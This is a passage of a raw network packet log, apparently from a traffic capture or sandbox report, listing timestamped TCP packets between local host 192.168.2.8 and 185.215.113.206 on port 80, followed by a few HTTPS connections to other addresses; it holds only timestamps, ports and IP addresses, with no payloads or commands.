Nov 24, 2024 19:11:27.477247953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.477262020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.477302074 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.477319956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.478836060 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.478888035 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.479041100 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.479095936 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.479903936 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.479948997 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.479950905 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.479994059 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.480504990 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.480557919 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.480595112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.480643988 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.481354952 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.481408119 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.481439114 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.481482029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.482284069 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.482321978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.482342958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.482362986 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.482908010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.482958078 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.483037949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.483084917 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.483814001 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.483901978 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.483949900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.483999968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.484502077 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.484551907 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.484558105 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.484599113 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.569875956 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.569895983 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.569909096 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.569981098 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.570003033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.570014954 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.570041895 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.570686102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.570741892 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.570797920 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.570842981 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.571428061 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.571479082 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.571541071 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.571583986 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.571990967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.572038889 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.572068930 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.572113037 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.572798014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.572856903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.572962999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.573009968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.573596001 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.573654890 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.573707104 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.573755026 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.574412107 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.574465036 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.574492931 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.574544907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.575155973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.575232029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.575232029 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.575274944 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.575934887 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.575989008 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.576052904 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.576101065 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.576922894 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.576999903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.577001095 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.577049971 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.577594995 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.577656031 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.577656031 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.577701092 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.578295946 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.578347921 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.578422070 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.578471899 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.579385996 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.579399109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.579437971 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.579451084 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.579978943 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.580034018 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.580142021 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.580203056 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.580991030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.581043959 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.581120968 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.581171989 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.581799984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.581854105 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.581893921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.581940889 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.582564116 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.582617044 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.582639933 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.582688093 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.583472967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.583527088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.583573103 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.583623886 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.584302902 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.584359884 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.584427118 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.584476948 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.585170984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.585247993 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.585320950 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.585371971 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.614635944 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.614715099 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.614819050 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.614866018 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.615020037 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.615078926 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.615129948 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.615175009 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.615221024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.615268946 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.615928888 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.615978956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.616035938 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.616084099 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.616754055 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.616803885 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.616847992 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.616899967 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.617506981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.617558956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.617589951 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.617634058 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.618299961 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.618350983 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.618371010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.618413925 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.619184017 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.619234085 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.619267941 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.619333029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.620018959 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.620069981 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.620080948 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.620121956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.620735884 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.620806932 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.620821953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.620860100 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.621516943 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.621572971 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.621623039 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.621670961 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.622437954 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.622514009 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.622642040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.622694016 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.623444080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.623498917 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.623559952 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.623596907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.624299049 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.624414921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.624416113 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.624454021 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.625047922 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.625123978 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.670321941 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.670341015 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.670414925 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.670566082 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.670614958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.670671940 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.670718908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.671633959 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.671684027 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.671710014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.671756029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.672246933 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.672271013 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.672297001 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.672317028 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.673018932 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.673074007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.673110962 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.673163891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.673753977 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.673767090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.673806906 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.674520016 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.674573898 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.674679041 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.674731016 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.675424099 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.675478935 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.675546885 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.675589085 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.676095009 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.676145077 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.676228046 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.676279068 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.676865101 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.676913977 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.676923990 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.676960945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.677709103 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.677762985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.677805901 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.677851915 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.678469896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.678486109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.678523064 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.678536892 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.679266930 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.679338932 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.679363012 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.679409027 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.680027962 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.680079937 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.680139065 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.680186033 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.680967093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.681015968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.681088924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.681133032 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.682173014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.682223082 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.682229996 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.682265997 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.682950974 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.682965994 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.682998896 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.683012009 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.683651924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.683708906 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.683727026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.683770895 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.684364080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.684412003 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.684427023 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.684469938 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.685036898 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.685086966 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.685120106 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.685168028 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.771527052 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.771553040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.771610975 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.771667004 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.771708012 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.771720886 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.771748066 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.771760941 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.772419930 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.772459984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.772473097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.772500992 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.773065090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.773111105 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.773118973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.773160934 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.773650885 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.773695946 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.773709059 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.773751020 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.774447918 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.774496078 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.774578094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.774630070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.775283098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.775358915 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.775410891 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.775460958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.776181936 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.776230097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.776264906 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.776309967 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.776802063 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.776844025 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.776906967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.776948929 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.777601004 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.777645111 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.777714014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.777770042 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.778404951 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.778451920 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.778506041 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.778548956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.779206991 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.779244900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.779262066 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.779285908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.780145884 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.780201912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.780225039 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.780268908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.780858994 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.780908108 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.780939102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.780986071 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.781799078 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.781841993 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.781848907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.781881094 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.782463074 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.782510996 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.782526016 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.782573938 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.783133030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.783185959 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.783206940 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.783325911 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:27.783961058 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:27.784013033 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:28.391587973 CET	443	49704	23.206.229.226	192.168.2.8
Nov 24, 2024 19:11:28.391705036 CET	49704	443	192.168.2.8	23.206.229.226
Nov 24, 2024 19:11:29.213181973 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.213222980 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:29.213361979 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.213396072 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.213434935 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:29.213485956 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.213624001 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.213677883 CET	443	49709	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:29.213834047 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.214704037 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.214723110 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:29.214818001 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.214833975 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:29.214967012 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.214978933 CET	443	49709	172.217.21.36	192.168.2.8
